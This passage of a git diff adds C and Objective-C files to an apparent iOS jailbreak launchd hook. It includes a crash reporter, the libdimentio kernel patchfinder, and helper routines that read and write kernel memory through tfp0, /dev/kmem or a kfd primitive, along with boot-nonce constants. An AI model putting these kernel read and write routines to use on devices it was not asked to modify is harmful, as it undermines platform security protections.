(void*)pthread_stack_frame_decode_np((uintptr_t)frame, NULL); + } + while (max--) { + uintptr_t retaddr; + next = (void*)pthread_stack_frame_decode_np((uintptr_t)frame, &retaddr); + buffer[*nb] = retaddr; + (*nb)++; + if(!INSTACK(next) || !ISALIGNED(next) || next <= frame) + return; + frame = next; + } +} + +static crash_reporter_state gCrashReporterState = kCrashReporterStateNotActive; +mach_port_t gExceptionPort = MACH_PORT_NULL; +dispatch_queue_t gExceptionQueue = NULL; +pthread_t gExceptionThread = 0; + +const char *crashreporter_string_for_code(int code) +{ + switch (code) + { + case EXC_BAD_ACCESS: + return "EXC_BAD_ACCESS"; + + case EXC_BAD_INSTRUCTION: + return "EXC_BAD_INSTRUCTION"; + + case EXC_ARITHMETIC: + return "EXC_ARITHMETIC"; + + case EXC_EMULATION: + return "EXC_EMULATION"; + + case EXC_SOFTWARE: + return "EXC_SOFTWARE"; + + case EXC_BREAKPOINT: + return "EXC_BREAKPOINT"; + + case EXC_SYSCALL: + return "EXC_SYSCALL"; + + case EXC_MACH_SYSCALL: + return "EXC_MACH_SYSCALL"; + + case EXC_RPC_ALERT: + return "EXC_RPC_ALERT"; + + case EXC_CRASH: + return "EXC_CRASH"; + + case EXC_RESOURCE: + return "EXC_RESOURCE"; + + case EXC_GUARD: + return "EXC_GUARD"; + + case EXC_CORPSE_NOTIFY: + return "EXC_CORPSE_NOTIFY"; + } + return NULL; +} + +void crashreporter_dump_backtrace_line(FILE *f, vm_address_t addr) +{ + Dl_info info; + dladdr((void *)addr, &info); + + const char *sname = info.dli_sname; + const char *fname = info.dli_fname; + if (!sname) { + sname = ""; + } + + fprintf(f, "0x%lX: %s (0x%lX + 0x%lX) (%s(0x%lX) + 0x%lX)\n", addr, sname, (vm_address_t)info.dli_saddr, addr - (vm_address_t)info.dli_saddr, fname, (vm_address_t)info.dli_fbase, addr - (vm_address_t)info.dli_fbase); +} + +FILE *crashreporter_open_outfile(const char *source, char **nameOut) +{ + time_t t = time(NULL); + char timestamp[64]; + sprintf(×tamp[0], "%lu", t); + + char *name = malloc(100); + strlcpy(name, source, 100); + strlcat(name, "-", 100); + strlcat(name, timestamp, 100); + strlcat(name, ".ips", 100); + + char dumpPath[PATH_MAX]; + strlcpy(dumpPath, "/var/mobile/Library/Logs/CrashReporter/", PATH_MAX); + strlcat(dumpPath, name, PATH_MAX); + + if (nameOut) { + *nameOut = name; + } + else { + free(name); + } + + FILE *f = fopen(dumpPath, "w"); + if (f) { + struct utsname systemInfo; + uname(&systemInfo); + + fprintf(f, "Device Model: %s\n", systemInfo.machine); + + CFStringRef deviceVersion = CFCopySystemVersionString(); + if (deviceVersion) { + fprintf(f, "Device Version: %s\n", CFStringGetCStringPtr(deviceVersion, kCFStringEncodingUTF8)); + CFRelease(deviceVersion); + } + + #ifdef __arm64e__ + fprintf(f, "Architecture: arm64e\n"); + #else + fprintf(f, "Architecture: arm64\n"); + #endif + fprintf(f, "\n"); + } + + return f; +} + +void crashreporter_save_outfile(FILE *f) +{ + fflush(f); + fchown(fileno(f), 0, 250); + fchmod(fileno(f), 00660); + if (fcntl(fileno(f), F_FULLFSYNC) != 0) { + fsync(fileno(f)); + } + fclose(f); + + int dir = open("/var/mobile/Library/Logs/CrashReporter", O_RDONLY | O_DIRECTORY); + if (dir >= 0) { + if (fcntl(dir, F_FULLFSYNC) != 0) { + fsync(dir); + } + close(dir); + } +} + +void crashreporter_dump_mach(FILE *f, int code, int subcode, arm_thread_state64_t threadState, arm_exception_state64_t exceptionState, vm_address_t *bt) +{ + fprintf(f, "Exception: %s\n", crashreporter_string_for_code(code)); + fprintf(f, "Exception Subcode: %d\n", subcode); + fprintf(f, "\n"); + + fprintf(f, "Register State:\n"); + uint64_t pc = (uint64_t)__darwin_arm_thread_state64_get_pc(threadState); + uint64_t lr = (uint64_t)__darwin_arm_thread_state64_get_lr(threadState); + + for(int i = 0; i <= 28; i++) { + if (i < 10) { + fprintf(f, " "); + } + fprintf(f, "x%d = 0x%016llX", i, threadState.__x[i]); + if ((i+1) % (6+1) == 0) { + fprintf(f, "\n"); + } + else { + fprintf(f, ", "); + } + } + fprintf(f, " lr = 0x%016llX, pc = 0x%016llX, sp = 0x%016llX, fp = 0x%016llX, cpsr= 0x%08X, far = 0x%016llX\n\n", lr, pc, (uint64_t)__darwin_arm_thread_state64_get_sp(threadState), (uint64_t)__darwin_arm_thread_state64_get_fp(threadState), threadState.__cpsr, exceptionState.__far); + + fprintf(f, "Backtrace:\n"); + crashreporter_dump_backtrace_line(f, (vm_address_t)pc); + crashreporter_dump_backtrace_line(f, (vm_address_t)lr); + int btIdx = 0; + vm_address_t btAddr = bt[btIdx++]; + while (btAddr != 0) { + crashreporter_dump_backtrace_line(f, btAddr); + btAddr = bt[btIdx++]; + } + fprintf(f, "\n"); +} + +void crashreporter_catch_mach(exception_raise_request *request, exception_raise_reply *reply) +{ + pthread_t pthread = pthread_from_mach_thread_np(request->thread.name); + + mach_msg_type_number_t threadStateCount = ARM_THREAD_STATE64_COUNT; + arm_thread_state64_t threadState; + thread_get_state(request->thread.name, ARM_THREAD_STATE64, (thread_state_t)&threadState, &threadStateCount); + + arm_exception_state64_t exceptionState; + mach_msg_type_number_t exceptionStateCount = ARM_EXCEPTION_STATE64_COUNT; + thread_get_state(request->thread.name, ARM_EXCEPTION_STATE64, (thread_state_t)&exceptionState, &exceptionStateCount); + + reply->ndr = request->ndr; + reply->retcode = KERN_FAILURE; + + vm_address_t *bt = malloc(100 * sizeof(vm_address_t)); + memset(bt, 0, 100 * sizeof(vm_address_t)); + unsigned c = 100; + pthread_backtrace(pthread, bt, c, &c, 0, (void *)__darwin_arm_thread_state64_get_fp(threadState)); + + char *name = NULL; + FILE *f = crashreporter_open_outfile("launchd", &name); + if (f) { + crashreporter_dump_mach(f, request->code, request->subcode, threadState, exceptionState, bt); + crashreporter_save_outfile(f); + } + + if (name) { + char msg[1000]; + snprintf(msg, 1000, "Mach exception occured. A detailed report has been written to the file %s.", name); + abort_with_reason(7, 1, msg, 0); + } + else { + abort_with_reason(7, 1, "Mach exception occured. Failed to write the detailed report to a file.", 0); + } +} + +void crashreporter_dump_objc(FILE *f, NSException *e) +{ + @autoreleasepool { + fprintf(f, "Exception: %s\n", e.name.UTF8String); + fprintf(f, "Exception Reason: %s\n", e.reason.UTF8String); + fprintf(f, "User Info: %s\n", e.userInfo.description.UTF8String); + fprintf(f, "\n"); + + if (e.callStackReturnAddresses.count) { + fprintf(f, "Backtrace:\n"); + for (NSNumber *btAddrNum in e.callStackReturnAddresses) { + crashreporter_dump_backtrace_line(f, [btAddrNum unsignedLongLongValue]); + } + fprintf(f, "\n"); + } + else if (e.callStackSymbols.count) { + fprintf(f, "Backtrace:\n"); + for (NSString *symbol in e.callStackSymbols) { + fprintf(f, "%s\n", symbol.UTF8String); + } + fprintf(f, "\n"); + } + } +} + +void crashreporter_catch_objc(NSException *e) +{ + @autoreleasepool { + static BOOL hasCrashed = NO; + if (hasCrashed) { + exit(187); + } + else { + hasCrashed = YES; + } + + char *name = NULL; + FILE *f = crashreporter_open_outfile("launchd", &name); + if (f) { + @try { + crashreporter_dump_objc(f, e); + } + @catch (NSException *e2) { + exit(187); + } + crashreporter_save_outfile(f); + } + if (name) { + char msg[1000]; + snprintf(msg, 1000, "Objective-C exception occured. A detailed report has been written to the file %s.", name); + abort_with_reason(7, 1, msg, 0); + } + else { + abort_with_reason(7, 1, "Objective-C exception occured. Failed to write the detailed report to a file.", 0); + } + } +} + +void *crashreporter_listen(void *arg) +{ + while (true) { + mach_msg_header_t msg; + msg.msgh_local_port = gExceptionPort; + msg.msgh_size = 1024; + mach_msg_receive(&msg); + + exception_raise_reply reply; + crashreporter_catch_mach((exception_raise_request *)&msg, &reply); + + reply.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.msgh_bits), 0); + reply.header.msgh_size = sizeof(exception_raise_reply); + reply.header.msgh_remote_port = msg.msgh_remote_port; + reply.header.msgh_local_port = MACH_PORT_NULL; + reply.header.msgh_id = msg.msgh_id + 0x64; + + mach_msg(&reply.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, reply.header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + } +} + +void crashreporter_pause(void) +{ + if (gCrashReporterState == kCrashReporterStateActive) { + task_set_exception_ports(mach_task_self_, EXC_MASK_CRASH_RELATED, 0, EXCEPTION_DEFAULT, ARM_THREAD_STATE64); + NSSetUncaughtExceptionHandler(defaultNSExceptionHandler); + defaultNSExceptionHandler = nil; + gCrashReporterState = kCrashReporterStatePaused; + } +} + +void crashreporter_resume(void) +{ + if (gCrashReporterState == kCrashReporterStatePaused) { + task_set_exception_ports(mach_task_self_, EXC_MASK_CRASH_RELATED, gExceptionPort, EXCEPTION_DEFAULT, ARM_THREAD_STATE64); + defaultNSExceptionHandler = NSGetUncaughtExceptionHandler(); + NSSetUncaughtExceptionHandler(crashreporter_catch_objc); + gCrashReporterState = kCrashReporterStateActive; + } +} + +void crashreporter_start(void) +{ + if (gCrashReporterState == kCrashReporterStateNotActive) { + mach_port_allocate(mach_task_self_, MACH_PORT_RIGHT_RECEIVE, &gExceptionPort); + mach_port_insert_right(mach_task_self_, gExceptionPort, gExceptionPort, MACH_MSG_TYPE_MAKE_SEND); + pthread_create(&gExceptionThread, NULL, crashreporter_listen, "crashreporter"); + gCrashReporterState = kCrashReporterStatePaused; + crashreporter_resume(); + } +} + diff --git a/RootHelperSample/launchdshim/launchdhook/fun/cs_blobs.h b/RootHelperSample/launchdshim/launchdhook/fun/cs_blobs.h new file mode 100644 index 00000000..7f40f3f7 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/cs_blobs.h @@ -0,0 +1,17 @@ +// +// cs_blobs.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/08/05. +// + +#ifndef cs_blobs_h +#define cs_blobs_h + +#include + +uint64_t fun_cs_blobs(char* execPath); +uint64_t fun_proc_dump_entitlements(uint64_t proc); +uint64_t fun_vnode_dump_entitlements(const char* path); + +#endif /* cs_blobs_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.h b/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.h new file mode 100644 index 00000000..88d9b2b6 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.h @@ -0,0 +1,100 @@ +/* Copyright 2023 0x7ff + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +#ifndef LIBDIMENTIO_H +# define LIBDIMENTIO_H +# include +# include +# define KADDR_FMT "0x%" PRIX64 + +#include + +typedef struct { + struct section_64 s64; + char *data; +} sec_64_t; + +typedef struct { + sec_64_t sec_text, sec_cstring; + const char *kernel; + size_t kernel_sz; + char *data; +} pfinder_t; + +typedef uint64_t kaddr_t; +typedef kern_return_t (*kread_func_t)(kaddr_t, void *, size_t), (*kwrite_func_t)(kaddr_t, const void *, size_t); + +void +dimentio_term(void); + +kern_return_t +dimentio_init(kaddr_t, kread_func_t, kwrite_func_t); + +kern_return_t +dimentio(uint64_t *, bool, uint8_t[CC_SHA384_DIGEST_LENGTH], size_t *); + +kern_return_t +dimentio_preinit(uint64_t *, bool, uint8_t[CC_SHA384_DIGEST_LENGTH], size_t *); + +kern_return_t +pfinder_init(pfinder_t *pfinder); + +int +set_kbase(uint64_t _kbase); + +int +set_kfd(uint64_t kfd); + +int +set_kernel_path(char* _path); + +void +pfinder_term(pfinder_t *pfinder); + +kaddr_t +pfinder_kernproc(pfinder_t pfinder); + +kaddr_t +pfinder_cdevsw(pfinder_t pfinder); + +kaddr_t +pfinder_gPhysBase(pfinder_t pfinder); + +kaddr_t +pfinder_gPhysSize(pfinder_t pfinder); + +kaddr_t +pfinder_gVirtBase(pfinder_t pfinder); + +kaddr_t +pfinder_perfmon_dev_open_2(pfinder_t pfinder); + +kaddr_t +pfinder_perfmon_dev_open(pfinder_t pfinder); + +kaddr_t +pfinder_perfmon_devices(pfinder_t pfinder); + +kaddr_t +pfinder_ptov_table(pfinder_t pfinder); + +kaddr_t +pfinder_vn_kqfilter_2(pfinder_t pfinder); + +kaddr_t +pfinder_vn_kqfilter(pfinder_t pfinder); + +kaddr_t +pfinder_proc_object_size(pfinder_t pfinder); +#endif diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.m b/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.m new file mode 100644 index 00000000..91bcad73 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.m @@ -0,0 +1,1868 @@ +/* Copyright 2023 0x7ff + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +#include "patchfinder.h" +#include "libdimentio.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include "../krw.h" + +#define LZSS_F (18) +#define LZSS_N (4096) +#define LZSS_THRESHOLD (2) +#define IPC_ENTRY_SZ (0x18) +#define OS_STRING_LEN_OFF (0xC) +#define KCOMP_HDR_PAD_SZ (0x16C) +#define OS_STRING_STRING_OFF (0x10) +#define KALLOC_ARRAY_TYPE_BIT (47U) +#define IPC_SPACE_IS_TABLE_OFF (0x20) +#define IPC_ENTRY_IE_OBJECT_OFF (0x0) +#define PROC_P_LIST_LE_PREV_OFF (0x8) +#define OS_DICTIONARY_COUNT_OFF (0x14) +#define PROC_P_LIST_LH_FIRST_OFF (0x0) +#define OS_DICTIONARY_DICT_ENTRY_OFF (0x20) +#define OS_STRING_LEN(a) extract32(a, 14, 18) +#define LOADED_KEXT_SUMMARY_HDR_NAME_OFF (0x10) +#define LOADED_KEXT_SUMMARY_HDR_ADDR_OFF (0x60) +#if TARGET_OS_OSX +# define PREBOOT_PATH "/System/Volumes/Preboot" +#else +# define PREBOOT_PATH "/private/preboot/" +#endif +#define IO_AES_ACCELERATOR_SPECIAL_KEYS_OFF (0xD0) +#define APPLE_MOBILE_AP_NONCE_CLEAR_NONCE_SEL (0xC9) +#define IO_AES_ACCELERATOR_SPECIAL_KEY_CNT_OFF (0xD8) +#define APPLE_MOBILE_AP_NONCE_GENERATE_NONCE_SEL (0xC8) +#define BOOT_PATH "/System/Library/Caches/com.apple.kernelcaches/kernelcache" + +#define DER_INT (0x2U) +#define DER_SEQ (0x30U) +#define DER_IA5_STR (0x16U) +#define DER_OCTET_STR (0x4U) +#define ARM_PGSHIFT_16K (14U) +#define PROC_PIDREGIONINFO (7) +#define RD(a) extract32(a, 0, 5) +#define RN(a) extract32(a, 5, 5) +#define VM_KERN_MEMORY_OSKEXT (5) +#define KCOMP_HDR_MAGIC (0x636F6D70U) +#define ADRP_ADDR(a) ((a) & ~0xFFFULL) +#define ADRP_IMM(a) (ADR_IMM(a) << 12U) +#define IO_OBJECT_NULL ((io_object_t)0) +#define ADD_X_IMM(a) extract32(a, 10, 12) +#define kIODeviceTreePlane "IODeviceTree" +#define KCOMP_HDR_TYPE_LZSS (0x6C7A7373U) +#define LDR_X_IMM(a) (sextract64(a, 5, 19) << 2U) +#define kOSBundleLoadAddressKey "OSBundleLoadAddress" +#define IS_ADR(a) (((a) & 0x9F000000U) == 0x10000000U) +#define IS_ADRP(a) (((a) & 0x9F000000U) == 0x90000000U) +#define IS_LDR_X(a) (((a) & 0xFF000000U) == 0x58000000U) +#define IS_ADD_X(a) (((a) & 0xFFC00000U) == 0x91000000U) +#define IS_SUBS_X(a) (((a) & 0xFF200000U) == 0xEB000000U) +#define LDR_W_UNSIGNED_IMM(a) (extract32(a, 10, 12) << 2U) +#define LDR_X_UNSIGNED_IMM(a) (extract32(a, 10, 12) << 3U) +#define kBootNoncePropertyKey "com.apple.System.boot-nonce" +#define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY" +#define kIONVRAMSyncNowPropertyKey "IONVRAM-SYNCNOW-PROPERTY" +#define IS_LDR_W_UNSIGNED_IMM(a) (((a) & 0xFFC00000U) == 0xB9400000U) +#define IS_LDR_X_UNSIGNED_IMM(a) (((a) & 0xFFC00000U) == 0xF9400000U) +#define ADR_IMM(a) ((sextract64(a, 5, 19) << 2U) | extract32(a, 29, 2)) +#define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY" + +#ifndef SECT_CSTRING +# define SECT_CSTRING "__cstring" +#endif + +#ifndef SEG_TEXT_EXEC +# define SEG_TEXT_EXEC "__TEXT_EXEC" +#endif + +#ifndef MIN +# define MIN(a, b) ((a) < (b) ? (a) : (b)) +#endif + +char* kernel_path = NULL; +uint64_t kfd = 0; + +typedef char io_string_t[512]; +typedef uint32_t IOOptionBits; +typedef mach_port_t io_object_t; +typedef kern_return_t (*kernrw_0_kbase_func_t)(kaddr_t *); +typedef io_object_t io_service_t, io_connect_t, io_registry_entry_t; +typedef int (*krw_0_kbase_func_t)(kaddr_t *), (*krw_0_kread_func_t)(kaddr_t, void *, size_t), (*krw_0_kwrite_func_t)(const void *, kaddr_t, size_t), (*kernrw_0_req_kernrw_func_t)(void); + +kern_return_t +IOServiceClose(io_connect_t); + +kern_return_t +IOObjectRelease(io_object_t); + +CFMutableDictionaryRef +IOServiceMatching(const char *); + +int +proc_pidinfo(int, int, uint64_t, void *, int); + +CFDictionaryRef +OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); + +io_registry_entry_t +IORegistryEntryFromPath(mach_port_t, const io_string_t); + +io_service_t +IOServiceGetMatchingService(mach_port_t, CFDictionaryRef); + +kern_return_t +IOServiceOpen(io_service_t, task_port_t, uint32_t, io_connect_t *); + +kern_return_t +IORegistryEntrySetCFProperty(io_registry_entry_t, CFStringRef, CFTypeRef); + +kern_return_t +mach_vm_write(vm_map_t, mach_vm_address_t, vm_offset_t, mach_msg_type_number_t); + +kern_return_t +IOConnectCallStructMethod(io_connect_t, uint32_t, const void *, size_t, void *, size_t *); + +CFTypeRef +IORegistryEntryCreateCFProperty(io_registry_entry_t, CFStringRef, CFAllocatorRef, IOOptionBits); + +kern_return_t +mach_vm_read_overwrite(vm_map_t, mach_vm_address_t, mach_vm_size_t, mach_vm_address_t, mach_vm_size_t *); + +kern_return_t +mach_vm_machine_attribute(vm_map_t, mach_vm_address_t, mach_vm_size_t, vm_machine_attribute_t, vm_machine_attribute_val_t *); + +extern const mach_port_t kIOMasterPortDefault; + +static int kmem_fd = -1; +static unsigned t1sz_boot; +static void *krw_0, *kernrw_0; +static kread_func_t kread_buf; +static task_t tfp0 = TASK_NULL; +static uint64_t proc_struct_sz; +static kwrite_func_t kwrite_buf; +static krw_0_kread_func_t krw_0_kread; +static krw_0_kwrite_func_t krw_0_kwrite; +static bool has_proc_struct_sz, has_kalloc_array_decode, kalloc_array_decode_v2; +static kaddr_t kbase, kernproc, proc_struct_sz_ptr, vm_kernel_link_addr, our_task; +static size_t proc_task_off, proc_p_pid_off, task_itk_space_off, io_dt_nvram_of_dict_off, ipc_port_ip_kobject_off; + +static uint32_t +extract32(uint32_t val, unsigned start, unsigned len) { + return (val >> start) & (~0U >> (32U - len)); +} + +static uint64_t +sextract64(uint64_t val, unsigned start, unsigned len) { + return (uint64_t)((int64_t)(val << (64U - len - start)) >> (64U - len)); +} + +static void +kxpacd(kaddr_t *addr) { + if(t1sz_boot != 0) { + *addr |= ~((1ULL << (64U - t1sz_boot)) - 1U); + } +} + +static size_t +decompress_lzss(const uint8_t *src, size_t src_len, uint8_t *dst, size_t dst_len) { + const uint8_t *src_end = src + src_len, *dst_start = dst, *dst_end = dst + dst_len; + uint16_t i, r = LZSS_N - LZSS_F, flags = 0; + uint8_t text_buf[LZSS_N + LZSS_F - 1], j; + + memset(text_buf, ' ', r); + while(src != src_end && dst != dst_end) { + if(((flags >>= 1U) & 0x100U) == 0) { + flags = *src++ | 0xFF00U; + if(src == src_end) { + break; + } + } + if((flags & 1U) != 0) { + text_buf[r++] = *dst++ = *src++; + r &= LZSS_N - 1U; + } else { + i = *src++; + if(src == src_end) { + break; + } + j = *src++; + i |= (j & 0xF0U) << 4U; + j = (j & 0xFU) + LZSS_THRESHOLD; + do { + *dst++ = text_buf[r++] = text_buf[i++ & (LZSS_N - 1U)]; + r &= LZSS_N - 1U; + } while(j-- != 0 && dst != dst_end); + } + } + return (size_t)(dst - dst_start); +} + +static const uint8_t * +der_decode(uint8_t tag, const uint8_t *der, const uint8_t *der_end, size_t *out_len) { + size_t der_len; + + if(der_end - der > 2 && tag == *der++) { + if(((der_len = *der++) & 0x80U) != 0) { + *out_len = 0; + if((der_len &= 0x7FU) <= sizeof(*out_len) && (size_t)(der_end - der) >= der_len) { + while(der_len-- != 0) { + *out_len = (*out_len << 8U) | *der++; + } + } + } else { + *out_len = der_len; + } + if(*out_len != 0 && (size_t)(der_end - der) >= *out_len) { + return der; + } + } + return NULL; +} + +static const uint8_t * +der_decode_seq(const uint8_t *der, const uint8_t *der_end, const uint8_t **seq_end) { + size_t der_len; + + if((der = der_decode(DER_SEQ, der, der_end, &der_len)) != NULL) { + *seq_end = der + der_len; + } + return der; +} + +static const uint8_t * +der_decode_uint64(const uint8_t *der, const uint8_t *der_end, uint64_t *r) { + size_t der_len; + + if((der = der_decode(DER_INT, der, der_end, &der_len)) != NULL && (*der & 0x80U) == 0 && (der_len <= sizeof(*r) || (--der_len == sizeof(*r) && *der++ == 0))) { + *r = 0; + while(der_len-- != 0) { + *r = (*r << 8U) | *der++; + } + return der; + } + return NULL; +} + +static void * +kdecompress(const void *src, size_t src_len, size_t *dst_len) { + const uint8_t *der, *octet, *der_end, *src_end = (const uint8_t *)src + src_len; + struct { + uint32_t magic, type, adler32, uncomp_sz, comp_sz; + uint8_t pad[KCOMP_HDR_PAD_SZ]; + } kcomp_hdr; + size_t der_len; + uint64_t r; + void *dst; + + if((der = der_decode_seq(src, src_end, &der_end)) != NULL && (der = der_decode(DER_IA5_STR, der, der_end, &der_len)) != NULL && der_len == 4 && (memcmp(der, "IMG4", der_len) != 0 || ((der = der_decode_seq(der + der_len, src_end, &der_end)) != NULL && (der = der_decode(DER_IA5_STR, der, der_end, &der_len)) != NULL && der_len == 4)) && memcmp(der, "IM4P", der_len) == 0 && (der = der_decode(DER_IA5_STR, der + der_len, der_end, &der_len)) != NULL && der_len == 4 && memcmp(der, "krnl", der_len) == 0 && (der = der_decode(DER_IA5_STR, der + der_len, der_end, &der_len)) != NULL && (der = der_decode(DER_OCTET_STR, der + der_len, der_end, &der_len)) != NULL && der_len > sizeof(kcomp_hdr)) { + octet = der; + memcpy(&kcomp_hdr, octet, sizeof(kcomp_hdr)); + if(kcomp_hdr.magic == __builtin_bswap32(KCOMP_HDR_MAGIC)) { + if(kcomp_hdr.type == __builtin_bswap32(KCOMP_HDR_TYPE_LZSS) && (kcomp_hdr.comp_sz = __builtin_bswap32(kcomp_hdr.comp_sz)) <= der_len - sizeof(kcomp_hdr) && (kcomp_hdr.uncomp_sz = __builtin_bswap32(kcomp_hdr.uncomp_sz)) != 0 && (dst = malloc(kcomp_hdr.uncomp_sz)) != NULL) { + if(decompress_lzss(octet + sizeof(kcomp_hdr), kcomp_hdr.comp_sz, dst, kcomp_hdr.uncomp_sz) == kcomp_hdr.uncomp_sz) { + *dst_len = kcomp_hdr.uncomp_sz; + return dst; + } + free(dst); + } + } else if((der = der_decode_seq(der + der_len, src_end, &der_end)) != NULL && (der = der_decode_uint64(der, der_end, &r)) != NULL && r == 1 && der_decode_uint64(der, der_end, &r) != NULL && r != 0 && (dst = malloc(r)) != NULL) { + if(compression_decode_buffer(dst, r, octet, der_len, NULL, COMPRESSION_LZFSE) == r) { + *dst_len = r; + return dst; + } + free(dst); + } + } + return NULL; +} + +static kern_return_t +kread_buf_kfd(kaddr_t addr, void *buf, size_t sz) { + if(kfd == 0) + return KERN_FAILURE; + early_kreadbuf(kfd, addr, buf, sz); + return KERN_SUCCESS; +} + +static kern_return_t +kread_buf_krw_0(kaddr_t addr, void *buf, size_t sz) { + return krw_0_kread(addr, buf, sz) == 0 ? KERN_SUCCESS : KERN_FAILURE; +} + +static kern_return_t +kwrite_buf_krw_0(kaddr_t addr, const void *buf, size_t sz) { + return krw_0_kwrite(buf, addr, sz) == 0 ? KERN_SUCCESS : KERN_FAILURE; +} + +static kern_return_t +init_tfp0(void) { + kern_return_t ret = task_for_pid(mach_task_self(), 0, &tfp0); + mach_port_t host; + pid_t pid; + + if(ret != KERN_SUCCESS) { + host = mach_host_self(); + if(MACH_PORT_VALID(host)) { + printf("host: 0x%" PRIX32 "\n", host); + ret = host_get_special_port(host, HOST_LOCAL_NODE, 4, &tfp0); + mach_port_deallocate(mach_task_self(), host); + } + } + if(ret == KERN_SUCCESS && MACH_PORT_VALID(tfp0)) { + if(pid_for_task(tfp0, &pid) == KERN_SUCCESS) { + return ret; + } + mach_port_deallocate(mach_task_self(), tfp0); + } + return KERN_FAILURE; +} + +static kern_return_t +kread_buf_tfp0(kaddr_t addr, void *buf, size_t sz) { + mach_vm_address_t p = (mach_vm_address_t)buf; + mach_vm_size_t read_sz, out_sz = 0; + + while(sz != 0) { + read_sz = MIN(sz, vm_kernel_page_size - (addr & vm_kernel_page_mask)); + if(mach_vm_read_overwrite(tfp0, addr, read_sz, p, &out_sz) != KERN_SUCCESS || out_sz != read_sz) { + return KERN_FAILURE; + } + p += read_sz; + sz -= read_sz; + addr += read_sz; + } + return KERN_SUCCESS; +} + +static kern_return_t +kwrite_buf_tfp0(kaddr_t addr, const void *buf, size_t sz) { + vm_machine_attribute_val_t mattr_val = MATTR_VAL_CACHE_FLUSH; + mach_vm_address_t p = (mach_vm_address_t)buf; + mach_msg_type_number_t write_sz; + + while(sz != 0) { + write_sz = (mach_msg_type_number_t)MIN(sz, vm_kernel_page_size - (addr & vm_kernel_page_mask)); + if(mach_vm_write(tfp0, addr, p, write_sz) != KERN_SUCCESS || mach_vm_machine_attribute(tfp0, addr, write_sz, MATTR_CACHE, &mattr_val) != KERN_SUCCESS) { + return KERN_FAILURE; + } + p += write_sz; + sz -= write_sz; + addr += write_sz; + } + return KERN_SUCCESS; +} + +static kern_return_t +kread_buf_kmem(kaddr_t addr, void *buf, size_t sz) { + mach_vm_size_t read_sz; + char *p = buf; + ssize_t n; + + while(sz != 0) { + read_sz = (mach_vm_size_t)MIN(sz, vm_kernel_page_size - (addr & vm_kernel_page_mask)); + if((n = pread(kmem_fd, p, read_sz, (off_t)addr)) < 0 || (size_t)n != read_sz) { + return KERN_FAILURE; + } + p += read_sz; + sz -= read_sz; + addr += read_sz; + } + return KERN_SUCCESS; +} + +static kern_return_t +kwrite_buf_kmem(kaddr_t addr, const void *buf, size_t sz) { + mach_msg_type_number_t write_sz; + const char *p = buf; + ssize_t n; + + while(sz != 0) { + write_sz = (mach_msg_type_number_t)MIN(sz, vm_kernel_page_size - (addr & vm_kernel_page_mask)); + if((n = pwrite(kmem_fd, p, write_sz, (off_t)addr)) < 0 || (size_t)n != write_sz) { + return KERN_FAILURE; + } + p += write_sz; + sz -= write_sz; + addr += write_sz; + } + return KERN_SUCCESS; +} + +static kern_return_t +kread_addr(kaddr_t addr, kaddr_t *val) { + return kread_buf(addr, val, sizeof(*val)); +} + +static kern_return_t +find_section_kernel(kaddr_t p, struct segment_command_64 sg64, const char *sect_name, struct section_64 *sp) { + for(; sg64.nsects-- != 0; p += sizeof(*sp)) { + if(kread_buf(p, sp, sizeof(*sp)) != KERN_SUCCESS) { + break; + } + if((sp->flags & SECTION_TYPE) != S_ZEROFILL) { + if(sp->offset < sg64.fileoff || sp->size > sg64.filesize || sp->offset - sg64.fileoff > sg64.filesize - sp->size) { + break; + } + if(sp->size != 0 && strncmp(sp->segname, sg64.segname, sizeof(sp->segname)) == 0 && strncmp(sp->sectname, sect_name, sizeof(sp->sectname)) == 0) { + return KERN_SUCCESS; + } + } + } + return KERN_FAILURE; +} + +static kern_return_t +find_section_macho(const char *p, struct segment_command_64 sg64, const char *sect_name, struct section_64 *sp) { + for(; sg64.nsects-- != 0; p += sizeof(*sp)) { + memcpy(sp, p, sizeof(*sp)); + if((sp->flags & SECTION_TYPE) != S_ZEROFILL) { + if(sp->offset < sg64.fileoff || sp->size > sg64.filesize || sp->offset - sg64.fileoff > sg64.filesize - sp->size) { + break; + } + if(sp->size != 0 && strncmp(sp->segname, sg64.segname, sizeof(sp->segname)) == 0 && strncmp(sp->sectname, sect_name, sizeof(sp->sectname)) == 0) { + return KERN_SUCCESS; + } + } + } + return KERN_FAILURE; +} + +static void +sec_reset(sec_64_t *sec) { + memset(&sec->s64, '\0', sizeof(sec->s64)); + sec->data = NULL; +} + +static void +sec_term(sec_64_t *sec) { + free(sec->data); +} + +static kern_return_t +sec_read_buf(sec_64_t sec, kaddr_t addr, void *buf, size_t sz) { + size_t off; + + if(addr < sec.s64.addr || sz > sec.s64.size || (off = addr - sec.s64.addr) > sec.s64.size - sz) { + return KERN_FAILURE; + } + memcpy(buf, sec.data + off, sz); + return KERN_SUCCESS; +} + +static void +pfinder_reset(pfinder_t *pfinder) { + 